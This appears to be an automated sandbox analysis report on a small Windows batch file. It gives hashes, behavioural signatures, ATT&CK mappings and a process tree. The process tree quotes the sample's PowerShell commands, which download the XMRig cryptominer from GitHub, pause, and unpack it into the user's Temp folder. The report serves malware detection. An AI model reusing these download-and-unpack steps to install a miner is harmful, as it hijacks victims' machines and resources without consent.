35347449c9856b13ee6f4131fc675270c55566881a19cc3d6bc5d2b0709412bb

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-12-2024 15:38

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General

Target

5DKQH_s.bat
Size

1KB
MD5

ccc7afd46efac5aca2f96dc6c6d757b5
SHA1

981911ae2cf8c85fd9bbb70ea938105617c2aefd
SHA256

35347449c9856b13ee6f4131fc675270c55566881a19cc3d6bc5d2b0709412bb
SHA512

1d336a5827812cd871bdb1459536c5052e4cc50bde82d3e5fd7e474a1488bf55a0763f1d2cac7f6569a2ac6334f066a465cb7b74e52ddbb2d23bd2a31e7b3563

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1816	powershell.exe
2100	powershell.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3000	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1816	powershell.exe
2100	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 1816	2508	cmd.exe	31
PID 2508 wrote to memory of 1816	2508	cmd.exe	31
PID 2508 wrote to memory of 1816	2508	cmd.exe	31
PID 2508 wrote to memory of 3000	2508	cmd.exe	32
PID 2508 wrote to memory of 3000	2508	cmd.exe	32
PID 2508 wrote to memory of 3000	2508	cmd.exe	32
PID 2508 wrote to memory of 2100	2508	cmd.exe	33
PID 2508 wrote to memory of 2100	2508	cmd.exe	33
PID 2508 wrote to memory of 2100	2508	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\5DKQH_s.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1816
- C:\Windows\system32\timeout.exe
  timeout /t 10
  2⤵
  - Delays execution with timeout.exe
  PID:3000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
88714f16f09ef67d0c2468c6f3af79d1

SHA1
a7caf8ea1e13f81fff0a6203f62ae1bf92428c6b

SHA256
1408975b083464abf4934e48649266e4b7134cbcb1125ecb7b675739e9f06c12

SHA512
24cedd9b503d61ff449878e794bb8f0b6875788c265a9ce08d790c7456756bc730af851a583f90ee452baa8a8ce036aa89f2eb0cac90cae3bc4579cea8078bbf

Download Submit
memory/1816-4-0x000007FEF52CE000-0x000007FEF52CF000-memory.dmp

Filesize
4KB

Download
memory/1816-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/1816-6-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/1816-7-0x000007FEF5010000-0x000007FEF59AD000-memory.dmp

Filesize
9.6MB

Download
memory/1816-11-0x000007FEF5010000-0x000007FEF59AD000-memory.dmp

Filesize
9.6MB

Download
memory/1816-10-0x000007FEF5010000-0x000007FEF59AD000-memory.dmp

Filesize
9.6MB

Download
memory/1816-9-0x0000000002DCB000-0x0000000002E32000-memory.dmp

Filesize
412KB

Download
memory/1816-8-0x0000000002DC4000-0x0000000002DC7000-memory.dmp

Filesize
12KB

Download
memory/2100-18-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/2100-17-0x000000001B780000-0x000000001BA62000-memory.dmp

Filesize
2.9MB

Download